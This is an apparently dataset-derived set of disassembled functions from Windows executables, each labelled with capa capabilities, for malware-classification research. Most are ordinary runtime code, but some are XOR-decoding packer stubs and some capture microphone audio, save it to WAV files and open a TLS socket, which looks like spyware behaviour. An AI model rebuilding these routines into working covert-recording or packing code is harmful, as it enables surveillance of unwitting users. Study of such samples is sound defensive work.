joyce8/EMBER2024-capa huggingface dataset:
Function at 0x404b70
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x42ed0f
mov eax, dword fs:[0]
push eax
sub esp, 0x10
push ebx
push esi
push edi
mov eax, dword [0x442068]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x10], 0
mov dword [ebx], 0x43df5c
mov dword [ebx + 0x60], vtable.std::basic_ios_wchar_t__struct_std::char_traits_wchar_t__.0
mov dword [ebp - 4], 0
mov eax, dword [ebx]
push 0
push 0
mov dword [ebp - 0x10], 1
mov eax, dword [eax + 4]
mov dword [ebx + eax], vtable.std::basic_istream_wchar_t__struct_std::char_traits_wchar_t__.0
mov eax, dword [ebx]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x18]
mov dword [ecx + ebx - 4], eax
mov eax, dword [ebx]
mov dword [ebx + 8], 0
mov dword [ebx + 0xc], 0
mov edi, dword [eax + 4]
add edi, ebx
mov ecx, edi
mov dword [edi + 0x30], 0
mov dword [edi + 8], 0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0x201
mov dword [edi + 0x18], 6
mov dword [edi + 0x1c], 0
mov dword [edi + 0x20], 0
mov dword [edi + 0x24], 0
mov dword [edi + 0x28], 0
mov dword [edi + 0x2c], 0
call fcn.004023c0
push 8
call fcn.00411b60
mov esi, eax
xorps xmm0, xmm0
movq qword [esi], xmm0
push 1
mov dword [ebp - 4], 2
call fcn.0040fe6c
mov dword [esi + 4], eax
add esp, 8
lea eax, [ebx + 0x10]
mov dword [edi + 0x30], esi
mov dword [edi + 0x38], eax
mov dword [edi + 0x3c], 0
mov dword [ebp - 4], 3
mov ecx, dword [esi + 4]
mov dword [ebp - 0x18], ecx
mov eax, dword [ecx]
call dword [eax + 4]
lea eax, [ebp - 0x1c]
mov dword [ebp - 4], 4
push eax
call fcn.00406ab0
add esp, 4
mov ecx, eax
mov edx, dword [eax]
push 0x20
call dword [edx + 0x30]
movzx esi, ax
mov dword [ebp - 4], 5
mov ecx, dword [ebp - 0x18]
test ecx, ecx
je 0x404cc1
mov eax, dword [ecx]
call dword [eax + 8]
test eax, eax
je 0x404cc1
mov edx, dword [eax]
mov ecx, eax
push 1
call dword [edx]
mov byte [ebp - 4], 1
cmp dword [edi + 0x38], 0
mov word [edi + 0x40], si
jne 0x404cdf
mov eax, dword [edi + 0xc]
mov ecx, edi
or eax, 4
push 0
push eax
call fcn.004023c0
mov dword [ebp - 4], 6
mov eax, dword [ebx]
push ecx
push dword [ebp + 8]
lea ecx, [ebx + 0x10]
mov eax, dword [eax + 4]
mov dword [ebx + eax], vtable.std::basic_istringstream_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t__.0
mov eax, dword [ebx]
mov edx, dword [eax + 4]
lea eax, [edx - 0x60]
mov dword [edx + ebx - 4], eax
call fcn.00405cd0
mov eax, ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0xc
Function at 0x405cd0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x42ed78
mov eax, dword fs:[0]
push eax
sub esp, 8
push ebx
push esi
push edi
mov eax, dword [0x442068]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x14], edi
push 8
mov dword [edi], vtable.std::basic_streambuf_wchar_t__struct_std::char_traits_wchar_t__.0
call fcn.00411b60
mov esi, eax
xorps xmm0, xmm0
movq qword [esi], xmm0
push 1
mov dword [ebp - 4], 0
call fcn.0040fe6c
mov dword [esi + 4], eax
lea ecx, [edi + 8]
lea eax, [edi + 4]
mov dword [edi + 0x34], esi
mov dword [edi + 0xc], eax
add esp, 8
lea eax, [edi + 0x14]
mov dword [edi + 0x10], ecx
mov dword [edi + 0x1c], eax
lea eax, [edi + 0x18]
mov dword [edi + 0x20], eax
lea eax, [edi + 0x24]
mov dword [edi + 0x2c], eax
lea eax, [edi + 0x28]
mov dword [edi + 0x30], eax
mov dword [ecx], 0
mov eax, dword [edi + 0x20]
mov dword [eax], 0
mov eax, dword [edi + 0x30]
mov dword [eax], 0
mov eax, dword [edi + 0xc]
mov dword [eax], 0
mov eax, dword [edi + 0x1c]
mov dword [eax], 0
mov eax, dword [edi + 0x2c]
mov dword [eax], 0
mov ecx, dword [ebp + 8]
mov dword [ebp - 4], 1
mov dword [edi], vtable.std::basic_stringbuf_wchar_t__struct_std::char_traits_wchar_t___class_std::allocator_wchar_t__.0
cmp dword [ecx + 0x14], 8
mov eax, dword [ecx + 0x10]
mov dword [ebp - 0x10], eax
jb 0x405da2
mov ecx, dword [ecx]
mov dword [ebp + 8], ecx
mov ecx, 2
cmp eax, 0x7fffffff
ja 0x405e43
test eax, eax
je 0x405e23
lea ebx, [eax + eax]
cmp ebx, 0x1000
jb 0x405de4
lea eax, [ebx + 0x23]
or ecx, 0xffffffff
cmp eax, ebx
cmovbe eax, ecx
push eax
call fcn.00411b60
add esp, 4
test eax, eax
je 0x405e48
lea esi, [eax + 0x23]
and esi, 0xffffffe0
mov dword [esi - 4], eax
jmp 0x405df7
test ebx, ebx
je 0x405df5
push ebx
call fcn.00411b60
add esp, 4
mov esi, eax
jmp 0x405df7
xor esi, esi
push ebx
push dword [ebp + 8]
push esi
call fcn.00413150
mov ecx, dword [ebp - 0x10]
lea eax, [ebx + esi]
mov dword [edi + 0x38], eax
add esp, 0xc
mov eax, dword [edi + 0xc]
mov dword [eax], esi
mov eax, dword [edi + 0x1c]
mov dword [eax], esi
mov eax, dword [edi + 0x2c]
mov dword [eax], ecx
mov ecx, 3
jmp 0x405e2a
mov dword [edi + 0x38], 0
mov dword [edi + 0x3c], ecx
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
call fcn.0040f95a
call fcn.0041670c
int3
Function at 0x405ef0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x42eda0
mov eax, dword fs:[0]
push eax
push esi
push edi
mov eax, dword [0x442068]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
push 8
mov dword [edi], vtable.std::basic_streambuf_wchar_t__struct_std::char_traits_wchar_t__.0
call fcn.00411b60
mov esi, eax
xorps xmm0, xmm0
movq qword [esi], xmm0
push 1
mov dword [ebp - 4], 0
call fcn.0040fe6c
mov dword [esi + 4], eax
lea ecx, [edi + 8]
lea eax, [edi + 4]
mov dword [edi + 0x34], esi
mov dword [edi + 0xc], eax
add esp, 8
lea eax, [edi + 0x14]
mov dword [edi + 0x10], ecx
mov dword [edi + 0x1c], eax
lea eax, [edi + 0x18]
mov dword [edi + 0x20], eax
lea eax, [edi + 0x24]
mov dword [edi + 0x2c], eax
lea eax, [edi + 0x28]
mov dword [edi + 0x30], eax
mov dword [ecx], 0
mov eax, dword [edi + 0x20]
mov dword [eax], 0
mov eax, dword [edi + 0x30]
mov dword [eax], 0
mov eax, dword [edi + 0xc]
mov dword [eax], 0
mov eax, dword [edi + 0x1c]
mov dword [eax], 0
mov eax, dword [edi + 0x2c]
mov dword [eax], 0
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x4060f0
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ebp + 0xc]
mov ecx, 0
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, 0x811c9dc5
sub edx, edi
sar edx, 1
add edx, edx
je 0x406121
nop dword [eax]
movzx eax, byte [ecx + edi]
inc ecx
xor eax, esi
imul esi, eax, 0x1000193
cmp ecx, edx
jb 0x406110
pop edi
mov eax, esi
pop esi
pop ebp
ret 8
Function at 0x4109be
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
mov eax, dword [0x442068]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
mov eax, 0xffff
push edi
mov edi, ecx
cmp ax, bx
jne 0x4109e3
xor eax, eax
jmp 0x410a3f
mov eax, dword [edi + 0x20]
push esi
mov ecx, dword [eax]
test ecx, ecx
je 0x410a10
mov edx, dword [edi + 0x30]
mov esi, dword [edx]
lea eax, [ecx + esi*2]
cmp ecx, eax
jae 0x410a10
lea ecx, [esi - 1]
mov dword [edx], ecx
mov edx, dword [edi + 0x20]
mov esi, dword [edx]
lea ecx, [esi + 2]
mov dword [edx], ecx
mov word [esi], bx
jmp 0x410ac4
cmp dword [edi + 0x4c], 0
je 0x410a39
mov ecx, edi
call fcn.00410610
mov eax, dword [edi + 0x38]
mov dword [ebp - 0x2c], eax
test eax, eax
jne 0x410a4f
push dword [edi + 0x4c]
push ebx
call fcn.004100b4
pop ecx
test al, al
movzx eax, bx
pop ecx
jne 0x410a3e
mov eax, 0xffff
pop esi
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop ebx
call fcn.00411b4f
leave
ret 4
mov word [ebp - 0x28], bx
mov eax, dword [eax]
mov esi, dword [eax + 0x1c]
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 4]
mov ecx, esi
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x26]
push eax
lea eax, [ebp - 0x28]
push eax
lea eax, [edi + 0x40]
push eax
call dword [0x43019c]
mov ecx, dword [ebp - 0x2c]
call esi
test eax, eax
js 0x410a39
cmp eax, 1
jle 0x410a97
cmp eax, 3
jne 0x410a39
push dword [edi + 0x4c]
push dword [ebp - 0x28]
jmp 0x410a2b
mov esi, dword [ebp - 0x30]
lea eax, [ebp - 0x24]
sub esi, eax
je 0x410ab4
push dword [edi + 0x4c]
push esi
push 1
push eax
call fcn.0041dd15
add esp, 0x10
cmp esi, eax
jne 0x410a39
lea eax, [ebp - 0x28]
mov byte [edi + 0x3e], 1
cmp dword [ebp - 0x34], eax
je 0x410a39
mov ax, bx
jmp 0x410a3e

Function at 0x423d4e
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.004239f5

Function at 0x423d59
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00423b7f
Function at 0x433001
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
push 4
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x433072
nop
mov ebx, 0x40de38
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
nop
mov esi, 0x7dc2172
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x433060
nop
nop
nop
nop
mov eax, section..data
nop
cmp eax, 0
nop
nop
nop
nop
nop
nop
je 0x4330d2
nop
nop
mov ebx, 0x4304d8
nop
mov ecx, ebx
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x1e85658
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
nop
loop 0x4330c0
nop
nop
popal
nop
nop
nop
nop
jmp 0x431219
Function at 0x430000
Capabilities:
Encode data using xor

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
mov ebx, 0x408ecc
nop
mov ecx, 0x289461ef
nop
nop
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x43004e
nop
nop
nop
xor dword [eax], ecx
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x430024
nop
nop
mov eax, section..data
mov ebx, 0x42e1d0
nop
mov ecx, 0x537d70c7
nop
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x430084
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
add eax, 4
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
jne 0x43006c
nop
nop
nop
nop
nop
nop
nop
popal
nop
jmp 0x401219

Function at 0x433002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
call 0x43300c
pop eax
nop
nop
nop
nop
nop
nop
add eax, 0x40a063
sub eax, 0x40a009
nop
mov ebx, dword [eax]
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
jl 0x433030
add eax, 0xc
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43301e
nop
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x431219
Function at 0x406020
Capabilities:
Hash data with md5

Disassembly:
xor eax, eax
push esi
mov esi, dword [esp + 8]
mov dword [esi + 0x1c], eax
mov dword [esi + 0x18], eax
mov dword [esi + 8], 0x67452301
mov dword [esi + 0xc], 0xefcdab89
mov dword [esi + 0x10], 0x98badcfe
mov dword [esi + 0x14], 0x10325476
mov dword [esi + 4], eax
call fcn.0040de50
cmp eax, 0x17
je 0x40605e
mov dword [esi], 0x40d4a0
pop esi
ret
mov dword [esi], 0x405ff0
pop esi
ret

Function at 0x406070
Capabilities:
Hash data with md5

Disassembly:
sub esp, 0x4c
mov eax, dword [0x441f9c]
xor eax, esp
mov dword [esp + 0x48], eax
push ebx
mov ebx, dword [esp + 0x58]
push ebp
push esi
mov esi, dword [esp + 0x5c]
mov eax, dword [esi + 0x18]
shr eax, 3
and eax, 0x3f
cmp eax, 0x38
push edi
mov edi, 0x38
jb 0x4060a2
mov edi, 0x78
sub edi, eax
push edi
lea eax, [esp + 0x14]
push 0
push eax
call fcn.0042daa0
add esp, 0xc
mov byte [esp + 0x10], 0x80
lea ecx, [esp + edi + 0x11]
lea eax, [esi + 0x1a]
mov ebp, 2
movzx edx, byte [eax - 2]
mov byte [ecx - 1], dl
movzx edx, byte [eax - 1]
mov byte [ecx], dl
movzx edx, byte [eax]
mov byte [ecx + 1], dl
movzx edx, byte [eax + 1]
mov byte [ecx + 2], dl
add eax, 4
add ecx, 4
sub ebp, 1
jne 0x4060c5
add edi, 8
push edi
lea eax, [esp + 0x14]
push eax
push esi
call fcn.00405ef0
add esp, 0xc
lea ecx, [ebx + 1]
lea eax, [esi + 0xa]
lea edi, [ebp + 4]
movzx edx, byte [eax - 2]
mov byte [ecx - 1], dl
movzx edx, byte [eax - 1]
mov byte [ecx], dl
movzx edx, byte [eax]
mov byte [ecx + 1], dl
movzx edx, byte [eax + 1]
mov byte [ecx + 2], dl
add eax, 4
add ecx, 4
sub edi, 1
jne 0x406105
xor eax, eax
mov dword [esi + 0x1c], eax
mov dword [esi + 0x18], eax
mov dword [esi + 8], 0x67452301
mov dword [esi + 0xc], 0xefcdab89
mov dword [esi + 0x10], 0x98badcfe
mov dword [esi + 0x14], 0x10325476
mov dword [esi + 4], eax
call fcn.0040de50
cmp eax, 0x17
je 0x406174
pop edi
mov dword [esi], 0x40d4a0
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x48]
xor ecx, esp
call fcn.004345b0
add esp, 0x4c
ret
mov ecx, dword [esp + 0x58]
pop edi
mov dword [esi], 0x405ff0
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.004345b0
add esp, 0x4c
ret
Function at 0x416eb0
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 0x60
mov eax, dword [0x441f9c]
xor eax, esp
mov dword [esp + 0x5c], eax
mov eax, dword [esp + 0x6c]
push ebx
push ebp
push esi
mov esi, dword [esp + 0x70]
push edi
mov edi, dword [esp + 0x78]
lea ecx, [esp + 0x1c]
and ecx, 7
push 0x48
lea ebx, [esp + 0x28]
sub ebx, ecx
push 0
push ebx
mov dword [esp + 0x1c], eax
call fcn.0042daa0
mov edx, dword [esi + 0x18]
and edx, 0x3f
mov eax, 0x40
sub eax, edx
add esp, 0xc
cmp eax, 8
ja 0x416f01
add eax, 0x40
mov ecx, dword [esi + 0x14]
mov ebp, dword [esi + 0x18]
add ecx, ecx
add ecx, ecx
add ecx, ecx
mov edx, ebp
shr edx, 0x1d
or ecx, edx
mov byte [ebx], 0x80
lea edx, [ebp*8]
mov dword [esp + 0x18], edx
mov edx, ecx
shr edx, 0x18
mov byte [eax + ebx - 8], dl
mov edx, ecx
shr edx, 0x10
mov byte [eax + ebx - 7], dl
mov edx, ecx
shr edx, 8
mov byte [eax + ebx - 6], dl
mov byte [eax + ebx - 5], cl
mov ecx, dword [esp + 0x18]
mov edx, ecx
shr edx, 0x18
mov byte [eax + ebx - 4], dl
mov edx, ecx
shr edx, 0x10
mov byte [eax + ebx - 3], dl
mov edx, ecx
mov byte [eax + ebx - 1], cl
mov ecx, dword [esp + 0x10]
push ecx
push eax
shr edx, 8
push ebx
push esi
mov byte [eax + ebx - 2], dl
call fcn.00416cb0
movzx edx, byte [esi + 3]
mov byte [edi], dl
movzx eax, byte [esi + 2]
mov byte [edi + 1], al
mov ecx, dword [esi]
shr ecx, 8
mov byte [edi + 2], cl
movzx edx, byte [esi]
mov byte [edi + 3], dl
movzx eax, byte [esi + 7]
mov byte [edi + 4], al
movzx ecx, byte [esi + 6]
mov byte [edi + 5], cl
mov edx, dword [esi + 4]
shr edx, 8
mov byte [edi + 6], dl
movzx eax, byte [esi + 4]
mov byte [edi + 7], al
movzx ecx, byte [esi + 0xb]
mov byte [edi + 8], cl
movzx edx, byte [esi + 0xa]
mov byte [edi + 9], dl
mov eax, dword [esi + 8]
shr eax, 8
mov byte [edi + 0xa], al
movzx ecx, byte [esi + 8]
mov byte [edi + 0xb], cl
movzx edx, byte [esi + 0xf]
mov byte [edi + 0xc], dl
movzx eax, byte [esi + 0xe]
mov byte [edi + 0xd], al
mov ecx, dword [esi + 0xc]
shr ecx, 8
mov byte [edi + 0xe], cl
movzx edx, byte [esi + 0xc]
mov byte [edi + 0xf], dl
movzx eax, byte [esi + 0x13]
mov byte [edi + 0x10], al
movzx ecx, byte [esi + 0x12]
mov byte [edi + 0x11], cl
mov edx, dword [esi + 0x10]
shr edx, 8
mov byte [edi + 0x12], dl
movzx eax, byte [esi + 0x10]
push esi
mov byte [edi + 0x13], al
call fcn.00416de0
push 0x140
push 0
add esi, 0x60
push esi
call fcn.0042daa0
mov ecx, dword [esp + 0x8c]
add esp, 0x20
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.004345b0
add esp, 0x60
ret
Function at 0x430002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
call 0x43000c
nop
nop
nop
pop eax
nop
nop
nop
add eax, 0x403daa
nop
sub eax, reloc.user32.dll_SetScrollPos
mov ebx, dword [eax]
nop
nop
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
add ebx, 4
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
jl 0x430030
nop
nop
nop
nop
nop
add eax, 0xc
nop
cmp dword [eax], 0
nop
nop
nop
jne 0x43001e
nop
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp loc.00401219
Function at 0x4016ef
Capabilities:
Capture microphone audio

Disassembly:
push ebx
push esi
push edi
lea eax, [esp + 0x14]
mov esi, ecx
push eax
mov ecx, 0x473d7c
mov edi, edx
call fcn.00401fa0
mov edx, dword [esp + 0x10]
xor eax, eax
inc eax
movzx ebx, di
mov word [0x471aa8], ax
shr ebx, 3
movzx eax, si
imul eax, ebx
movd xmm0, edx
cvtdq2pd xmm0, xmm0
mov dword [0x471aac], edx
mov word [0x471ab6], di
shr di, 3
movzx ecx, di
push 0x30008
imul eax, edx
shr edx, 0x1f
mov word [0x471aaa], si
addsd xmm0, qword [edx*8 + 0x46c200]
mov dword [0x471ab0], eax
movzx eax, si
xor esi, esi
imul ecx, eax
xor eax, eax
mov word [0x471ab8], ax
cvtpd2ps xmm0, xmm0
push esi
push 0x40184a
push 0x471aa8
push 0xffffffffffffffff
push 0x471ac8
mov word [0x471ab4], cx
mulss xmm0, dword [0x46c1ac]
cvttss2si eax, xmm0
imul ebx, eax
mov dword [0x471abc], eax
mov dword [0x471a80], ebx
call dword [sym.imp.WINMM.dll_waveInOpen]
mov ecx, esi
call fcn.004017cc
inc esi
cmp esi, 2
jb 0x4017a7
push dword [0x471ac8]
call dword [sym.imp.WINMM.dll_waveInStart]
pop edi
pop esi
lea ecx, [esp + 0xc]
pop ebx
jmp fcn.00401fb8

Function at 0x4017cc
Capabilities:
Capture microphone audio

Disassembly:
push ebx
push ebp
push esi
push edi
push dword [0x471a80]
mov esi, ecx
mov ebp, 0x473d3c
push esi
mov ecx, ebp
call fcn.00401e45
mov ecx, eax
call fcn.00401f7d
mov edi, dword [0x473d78]
mov ebx, esi
shl ebx, 5
mov ecx, ebp
push esi
add edi, ebx
call fcn.00401e45
mov ecx, eax
call fcn.00401f8b
mov dword [edi], eax
mov eax, dword [0x471a80]
mov dword [edi + 4], eax
xor eax, eax
push 0x20
push edi
mov dword [edi + 8], eax
mov dword [edi + 0xc], eax
mov dword [edi + 0x10], eax
mov dword [edi + 0x14], eax
push dword [0x471ac8]
call dword [sym.imp.WINMM.dll_waveInPrepareHeader]
mov eax, dword [0x473d78]
push 0x20
add eax, ebx
push eax
push dword [0x471ac8]
call dword [sym.imp.WINMM.dll_waveInAddBuffer]
pop edi
pop esi
pop ebp
pop ebx
ret
Function at 0x401a4d
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x1c
push ebx
push ebp
push esi
movzx esi, word [0x471ab6]
mov ebx, edx
push edi
movzx edi, word [0x471aaa]
xor ebp, ebp
imul esi, edi
push ebp
push 0x80
push 2
push ebp
mov eax, esi
mov dword [esp + 0x2c], 1
imul eax, dword [0x471aac]
push ebp
push 0x40000000
push ecx
mov dword [esp + 0x34], 0x10
shr eax, 3
mov dword [esp + 0x3c], eax
mov eax, esi
cdq
and edx, 7
add eax, edx
sar eax, 3
mov dword [esp + 0x40], eax
mov eax, dword [ebx + 4]
imul eax, edi
mov dword [esp + 0x44], eax
add eax, 0x24
mov dword [esp + 0x30], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
jne 0x401acd
xor al, al
jmp 0x401bc1
mov esi, dword [sym.imp.KERNEL32.dll_WriteFile]
lea eax, [esp + 0x10]
push ebp
push eax
push 4
pop ebp
push ebp
push 0x464db0
push edi
call esi
push 0
lea eax, [esp + 0x14]
push eax
push ebp
lea eax, [esp + 0x20]
push eax
push edi
call esi
push 0
lea eax, [esp + 0x14]
push eax
push ebp
push str.WAVE
push edi
call esi
push 0
lea eax, [esp + 0x14]
push eax
push ebp
push str.fmt
push edi
call esi
push 0
lea eax, [esp + 0x14]
push eax
push ebp
lea eax, [esp + 0x24]
push eax
push edi
call esi
push 0
lea eax, [esp + 0x14]
push eax
push 2
lea eax, [esp + 0x28]
push eax
push edi
call esi
push 0
lea eax, [esp + 0x14]
push eax
push 2
push 0x471aaa
push edi
call esi
push 0
lea eax, [esp + 0x14]
push eax
push ebp
push 0x471aac
push edi
call esi
push 0
lea eax, [esp + 0x14]
push eax
push ebp
lea eax, [esp + 0x2c]
push eax
push edi
call esi
push 0
lea eax, [esp + 0x14]
push eax
push 2
lea eax, [esp + 0x30]
push eax
push edi
call esi
push 0
lea eax, [esp + 0x14]
push eax
push 2
push 0x471ab6
push edi
call esi
push 0
lea eax, [esp + 0x14]
push eax
push ebp
push str.data
push edi
call esi
push 0
lea eax, [esp + 0x14]
push eax
push ebp
lea eax, [esp + 0x34]
push eax
push edi
call esi
push 0
lea ecx, [esp + 0x14]
push ecx
push dword [ebx + 4]
push dword [ebx]
push edi
call esi
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x1c
ret
Function at 0x4048a8
Capabilities:
Connect socket

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [0x471adc]
sub esp, 0x1c
push ebx
push edi
push dword [eax + 0x10]
mov edi, ecx
push dword [eax + 0x18]
push dword [edi + 4]
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
jne 0x4049fb
cmp byte [edi + 1], al
je 0x4049f7
cmp byte [edi + 0x31], al
je 0x404906
sub esp, 0x18
lea eax, [edi + 0x34]
mov ecx, esp
mov edx, str.TLS_Handshake...______
push eax
call fcn.004052fe
sub esp, 0x14
mov ecx, esp
push 0x464f74
call fcn.00402073
call fcn.0041a6c2
add esp, 0x30
call fcn.0041fbe3
mov dword [edi + 0x4c], eax
test eax, eax
jne 0x404921
sub esp, 0x18
mov ecx, esp
push str.TLS_Error_1
jmp 0x404a5b
mov edx, dword [edi + 4]
mov ecx, eax
call fcn.0041fe12
cmp eax, 1
je 0x404967
sub esp, 0x18
mov ecx, esp
push str.TLS_Error_2
call fcn.00402073
sub esp, 0x18
mov ecx, esp
push 0x464ed8
call fcn.00402073
call fcn.0041a6c2
add esp, 0x30
mov ecx, dword [edi + 0x4c]
call fcn.0041fc23
and dword [edi + 0x4c], 0
jmp 0x404a77
mov ecx, dword [edi + 0x4c]
call fcn.004209c3
cmp eax, 1
je 0x4049a4
sub esp, 0x18
mov ecx, esp
push str.TLS_Authentication_Failed
call fcn.00402073
sub esp, 0x18
mov ecx, esp
push 0x464ed8
call fcn.00402073
call fcn.0041a6c2
mov ecx, dword [edi + 0x4c]
add esp, 0x30
call fcn.00420035
jmp 0x404956
mov ecx, dword [edi + 0x4c]
call fcn.0041fd89
mov dword [edi + 0x50], eax
test eax, eax
jne 0x4049d9
sub esp, 0x18
mov ecx, esp
push str.TLS_Error_3
call fcn.00402073
sub esp, 0x18
mov ecx, esp
push 0x464ed8
call fcn.00402073
call fcn.0041a6c2
add esp, 0x30
xor ebx, ebx
push ebx
push 1
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateEventW]
push ebx
push 1
push ebx
push ebx
mov dword [edi + 0x70], eax
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [edi + 0x6c], eax
mov al, 1
jmp 0x404a79
cmp byte [edi + 0x31], 0
je 0x404a77
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
mov ecx, eax
sub ecx, 0x2736
je 0x404a77
sub ecx, 0x17
je 0x404a51
mov edx, eax
lea ecx, [ebp - 0x1c]
call fcn.0041bad2
sub esp, 0x18
mov edx, str.Connection_Failed:
mov ecx, esp
push eax
call fcn.004052dd
sub esp, 0x14
mov ecx, esp
push 0x464ed8
call fcn.00402073
call fcn.0041a6c2
add esp, 0x30
lea ecx, [ebp - 0x1c]
call fcn.00401fb8
jmp 0x404a77
sub esp, 0x18
mov ecx, esp
push str.Connection_Refused
call fcn.00402073
sub esp, 0x18
mov ecx, esp
push 0x464ed8
call fcn.00402073
call fcn.0041a6c2
add esp, 0x30
xor al, al
pop edi
pop ebx
mov esp, ebp
pop ebp
ret 4